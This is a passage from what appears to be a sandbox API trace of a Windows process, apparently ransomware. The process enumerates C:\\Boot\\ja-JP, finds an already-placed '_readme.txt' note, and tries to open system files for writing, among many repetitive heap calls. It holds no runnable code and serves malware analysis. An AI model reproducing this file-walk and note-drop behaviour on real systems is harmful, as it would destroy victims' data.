csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.814] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.814] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.815] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0066.815] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.815] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.815] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.815] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.815] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0066.815] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.815] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.815] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned=".txt" [0066.815] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287070 | out: hHeap=0x5d0000) returned 1 [0066.815] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.815] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.816] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.816] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.816] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.817] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.818] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.818] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.819] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.819] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.820] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.820] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.822] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.822] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.823] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.823] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.824] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.824] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) 